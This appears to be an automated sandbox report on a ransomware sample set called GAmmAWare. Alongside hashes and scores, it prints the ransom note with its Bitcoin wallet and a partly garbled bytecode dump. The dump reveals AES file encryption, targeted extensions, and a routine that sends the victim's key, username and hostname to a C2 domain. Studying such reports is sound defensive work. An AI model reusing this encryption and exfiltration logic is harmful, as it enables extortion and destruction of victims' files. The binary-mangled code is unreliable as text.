Resubmissions

13-07-2024 18:55

240713-xk64bstakj 10

13-07-2024 18:50

240713-xg3xhavfjb 10

General

  • Target

    samples_pcap.zip

  • Size

    20.5MB

  • Sample

    240713-xg3xhavfjb

  • MD5

    a37a8feea4cf91fe2223efd28a48e1aa

  • SHA1

    87b970c0012f7dfb630819ba3302dc87db360ffd

  • SHA256

    273ffc020f3bae8049be32d6b73371f35147f84ef19dfdad91217cdca3632d23

  • SHA512

    b402fee4ba98899312351bd4e6e2d1b6fccf5670f1ac702c5c707fa04e8c6734fda7f0ced26285557584cf2b0863b14746baa747738a5d7db042f64999571532

  • SSDEEP

    393216:kWsa0cDnk94tFL8zQSAJFn6vKDpPIbxnWqYNIuXPjr33vTvyApcn:kWswWus26SDpPI9Ujrr33v+H

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\README.txt

Ransom Note
Tango Down Bitch! Seems like you got hit by GAmmA Group! Don't Panic, you get to have your files back! GAmmAWare uses a basic encryption script to lock your files. This type of ransomware is known as CRYPTO. You'll need a decryption key to unlock your files. Your files will be deleted when the timer runs out, so you better hurry. You have 10 hours to find your key! Payment is accepted with Bitcoin only, Or Google [How to buy Bitcoin] Payment 0.052 BTC to: 1sd2WD1fEJnUPkGgfTEciWENKtLeUGMQe After Payment is confirmed Please Email: [email protected] with your IP/hostname & BTC transaction ID to receive your decryption key. Kind regards, GAmmA GrouP
Wallets

1sd2WD1fEJnUPkGgfTEciWENKtLeUGMQe

Extracted

Path

C:\Users\Admin\Downloads\UUd9PgZ3.pyc.part

Ransom Note
B ����������������������������@���s���d�dl�Z�d�dlZd�dlZd�dlZd�dlZd�dlZd�dlZd�dlZd�dlZd�dl Z d�dl Z d�dl Z d�dl Z d�dlZ d�dlmZ�d�dlT�d�dlT�d�dlmZ�d�dlmZ�d�dlmZ�G�dd��de�Zd d ��Zd ejej�fd d �Zdd��Zd8dd�Z dd��Z!dZ"dZ#e�$e���%d���&��Z'e'�%d�Z'e�(��a)e�*��Z+ddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1gZ,d2d3��Z-d4d5��Z.d6d7��Z/y e/���W�n �e0k �r����e�1d���Y�nX�dS�)9�����N)�Path)�*)�BytesIO)�Random)�AESc���������������@���s���e�Zd�Zdd��ZdS�)� mainwindowc����������������sT��t��������jdd�����dd����jdd�����dd��t����_��j�d��d }t j � t t �|���}|�d t j j�}t j�|�}t��|dd �}||_|jd dd d��t��|dd �}||_|jd dd d��d}t��|dddd�jdddd��t��ddddd�jd d d��t��ddddd�jdd d���fdd�}��fdd��tdk�rJn|���d�S�) Nz Tango Down!)�stringr����black)� backgroundz -fullscreenT�clama�$��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 )�����r ���)�imager �����������)�row�column�rowspan����a���Tango Down Bitch! Seems like you got hit by GAmmA Group! Don't Panic, you get to have your files back! GAmmAWare uses a basic encryption script to lock your files. This type of ransomware is known as CRYPTO. You'll need a decryption key to unlock your files. Your files will be deleted when the timer runs out, so you better hurry. You have 10 hours to find your key! Payment is accepted with Bitcoin only, Or Google [How to buy Bitcoin] Payment 0.052 BTC to: 1sd2WD1fEJnUPkGgfTEciWENKtLeUGMQe After Payment is confirmed Please Email: [email protected] with your IP/hostname & BTC transaction ID to receive your decryption key. Kind regards, GAmmA GrouP zHelvetica 16 bold�white�red)�text�font� foregroundr �������)r���r���� columnspan��zHelvetica 18 bold)r���r�������c�����������������s���t�j��d�}�d|�_|�����d�S�)N)�targetT)� threading�Thread�daemon�start)�thread)� start_timer��� payload.py� start_thread����s���� z)mainwindow.__init__.<locals>.start_threadc�����������������s����t���ddddd�jdddd ��y\d }�xR|�rvt|�d �\}}d �||�}t���|dddd�jd ddd ��t�d��|�d8�}�q&W�W�n�tk r����td��Y�nX�d�S�)Nz TIME LEFT:zHelvetica 18 boldr���r ���)r���r���r���r ���r���r���r���)r���r���r���i�����<���z {:02d}:{:02d}r�������z Closed...)�Label�grid�divmod�format�time�sleep�KeyboardInterrupt�print)�s�min�sec� time_left)�selfr$���r%���r#�������s����  z(mainwindow.__init__.<locals>.start_timer�Windows)�Tk�__init__�title� resizable� configure� attributes�Style�style� theme_use�PIL�Image�openr����base64� b64decode�resize� ANTIALIAS�ImageTk� PhotoImager)���r ���r*����os)r5���� photo_code�photo�resized�label�messager&���r$���)r5���r#���r%���r8������s4����      |    zmainwindow.__init__N)�__name__� __module__� __qualname__r8���r$���r$���r$���r%���r������s���r���c��������������C���s&���t���t�jt�j�}�|��d��|����d�S�)N)z8.8.8.8�P���r���)�socket�AF_INET� SOCK_DGRAM�connect� getsockname)r1���r$���r$���r%���� getlocalip����s���� rX����@���c����������������s���d����fdd�t|��D���S�)Nr���c�������������3���s���|�]}t�����V��qd�S�)N)�random�choice)�.0�_)�charsr$���r%���� <genexpr>����s����zgen_string.<locals>.<genexpr>)�join�range)�sizer^���r$���)r^���r%���� gen_string����s����rc���c�������������C���s���|�dt�jt|��t�j����S�)N�����)r���� block_size�len)r1���r$���r$���r%����pad����s����rg�������c�������������C���s6���t�|��}�t����tj�}t�|tj|�}||�|���S�)N)rg���r����new�readr���re����MODE_CBC�encrypt)rN����key�key_size�iv�cipherr$���r$���r%���rl�������s����rl���c���������� ���C���s\���t�|�d��}|���}W�d�Q�R�X�t||�}t�|�d��}|�|��W�d�Q�R�X�t�|�|�d���d�S�)N�rb�wbz.DEMON)rB���rj���rl����writerI����rename)� file_namerm����fo� plaintext�encr$���r$���r%���� encrypt_file����s ����   ry���zcareerscannabi11.ddnsking.comi#��zutf-8z.txtz.pptz.pptxz.docz.docxz.gifz.jpgz.pngz.icoz.mp3z.oggz.csvz.xlsz.exez.pdfz.odsz.odtz.kdbxz.kdbz.mp4z.flvz.isoz.zipz.tarz.tar.gzz.rarc���������������C���s���t�t����d�S�)N�/)�strr����homer$���r$���r$���r%���� get_target��s����r}���c�������������C���s@��d}d}ddddddd g}y�x�|D�]�}|�|�d �}x�t��|�D�]�\}}} xl| D�]d} x^tD�]V} | �| ����rXy tt�j�|| �|��|d 7�}W�qX�tk r��} �zW�d�d�} ~ X�Y�qXX�qXW�qNW�y0t |d �d ��} | � |��| � ���W�d�Q�R�X�W�q>�tk �r �} �zW�d�d�} ~ X�Y�q>X�q>W�q"W�W�n$�tk �r:�} �zW�d�d�} ~ X�Y�nX�d�S�)Na���Tango Down Bitch! Seems like you got hit by GAmmA Group! Don't Panic, you get to have your files back! GAmmAWare uses a basic encryption script to lock your files. This type of ransomware is known as CRYPTO. You'll need a decryption key to unlock your files. Your files will be deleted when the timer runs out, so you better hurry. You have 10 hours to find your key! Payment is accepted with Bitcoin only, Or Google [How to buy Bitcoin] Payment 0.052 BTC to: 1sd2WD1fEJnUPkGgfTEciWENKtLeUGMQe After Payment is confirmed Please Email: [email protected] with your IP/hostname & BTC transaction ID to receive your decryption key. Kind regards, GAmmA GrouP r���� Downloads� Documents�Pictures�Music�Desktop�Onedrive�Dropboxrz���r(���z /README.txt�w) rI����walk�ext�endswith�lowerry����pathr`���� ExceptionrB���rs����close)�prm���rN����c�dirs�xr���r�����subdirs�files�name�i�e�fr$���r$���r%���� start_encrypt!��s:����      r����c����������� ���C���s����t���t�j�}�|��d��yT|��ttf��dt��ttt � ��t f�}|�� |� d���tt��t��t��}|����W�n<�tk r��}�ztt��t��t��}|����W�d�d�}~X�Y�nX�d�S�)N� ���z%s$%s$%s$%s$%szutf-8)rS���rT���� settimeoutrV����host�portrX���� os_platformrm����getpass�getuser�hostname�send�encoder����r}���r����mainloopr����)�server�msg�mainr����r$���r$���r%���� connectorb��s���
Wallets

1sd2WD1fEJnUPkGgfTEciWENKtLeUGMQe

Targets

    • Target

      samples_pcap.zip

    • Size

      20.5MB

    • MD5

      a37a8feea4cf91fe2223efd28a48e1aa

    • SHA1

      87b970c0012f7dfb630819ba3302dc87db360ffd

    • SHA256

      273ffc020f3bae8049be32d6b73371f35147f84ef19dfdad91217cdca3632d23

    • SHA512

      b402fee4ba98899312351bd4e6e2d1b6fccf5670f1ac702c5c707fa04e8c6734fda7f0ced26285557584cf2b0863b14746baa747738a5d7db042f64999571532

    • SSDEEP

      393216:kWsa0cDnk94tFL8zQSAJFn6vKDpPIbxnWqYNIuXPjr33vTvyApcn:kWswWus26SDpPI9Ujrr33v+H

    Score
    1/10
    • Target

      25af3ae9f4ebe5413b0ca1080b69b0ca.bin

    • Size

      11.3MB

    • MD5

      25af3ae9f4ebe5413b0ca1080b69b0ca

    • SHA1

      c34e2a2d8ba0aaea3913227de0cbf87cad4ebd1b

    • SHA256

      2d95507aa1ea5d2a6313bc5c201cf76e6aae4c207aa0fafe8f1fcb03e94102ec

    • SHA512

      b7194be16c8d4db0fc8305165c6d0e0aa6684b36c58855d9fab11e0d59d8bf004475df9932588cabebeff7d4f9a71dfa6bd8e985cfde1e318eb34e6880960ff2

    • SSDEEP

      196608:ZDgEmz555jYu/mmWeeOuWJysVYvsOFDeECRl2Ewf8jI48RmU/3ZlsPv+dvSh8CDw:Pmz51TWeeDWJVHykUtN3ZWMp

    Score
    10/10
    • Target

      payload.pyc

    • Size

      15KB

    • MD5

      4b76ff757725df04c8826dea29042aad

    • SHA1

      977f51c0937b0143ce1ba7bdc7e6b76bf6496272

    • SHA256

      a49c0e751f17791a2c908adc613ecf18b6ec1d9e3e4c289cc9ef7e02f9a46235

    • SHA512

      1f8555ab06625b5be4c976c0d80d9fd01536001e7aebf58713ed1d06e0e3254c38060c31b6ae05e3725332d688becc0b4de4d75fd53bce356eee669b2eff659d

    • SSDEEP

      384:NJjEY267618D5kbOSCH3r7X5sVIMz6NB+3K2JMzJUom:DjE/318lKEkIKuBSKJ3m

    Score
    10/10
    • Target

      25af3ae9f4ebe5413b0ca1080b69b0ca.pcap

    • Size

      43KB

    • MD5

      ed2d60fd26b288dce7252aed44d9c6a4

    • SHA1

      26c3ee08fc7adc95072a82942d915f359809f294

    • SHA256

      81f7ecbf724f7d43bd6e067c8a072032baf7260ef368bc417036c4f0c0a5c20a

    • SHA512

      84bde1d9fdb2fcd21f465cd4e542336ef92a9cd3a46093d6679d90e087dbc0dd2b50bd9b67c9c0fb00c1d1019772654a62a7d38b0e6cd96915234d827d0a54fa

    • SSDEEP

      768:nfOFfO1fOgfOtwVv+Oh+OJ+Oc+OtpfHpAaVqo:+JV9

    Score
    3/10
    • Target

      decryptor.exe

    • Size

      9.6MB

    • MD5

      4de3f7ed12fda2142563c791fe609867

    • SHA1

      bce2ddb9861406067270a6e3bd19c42f50babc0d

    • SHA256

      3f03e20b29331ecd88d69309adb9897ce749265441f13e049c458894fbc189ca

    • SHA512

      13c8c101655f1169ac9a66ce62aae426b73d33c1a43923a2bd9847493b7b068f630e9cb9e1593cb23fd0120dc4a84f4809ba37a110da49187b0d1a2bf0ca48f8

    • SSDEEP

      196608:ZegEmz+mWeeNuWJysVYvsO2DeECRl2Ewf8jI48RmU/3ZlsPv+djd8CaL3:QmXWeeEWJ4HykUtN3ZWMs3

    Score
    7/10
    • Loads dropped DLL

    • Target

      decryptor.pyc

    • Size

      2KB

    • MD5

      e5b272599b97fe1f32d5ed243a13ba6e

    • SHA1

      51403d58e96b634724631f3183479d338688f581

    • SHA256

      b83466894cf5ffe305242128aa3165fe9475f3513a79a13786acaf99be9f41e7

    • SHA512

      99605b4dc68e885e88831d6bac43ec92e122d71a930496beea90c41fdd96eda54a681043b4a0a9c434693aa1d86f3c8b0cfdeaa79c0868df39ae550026e8b792

    Score
    3/10

MITRE ATT&CK Enterprise v15

Tasks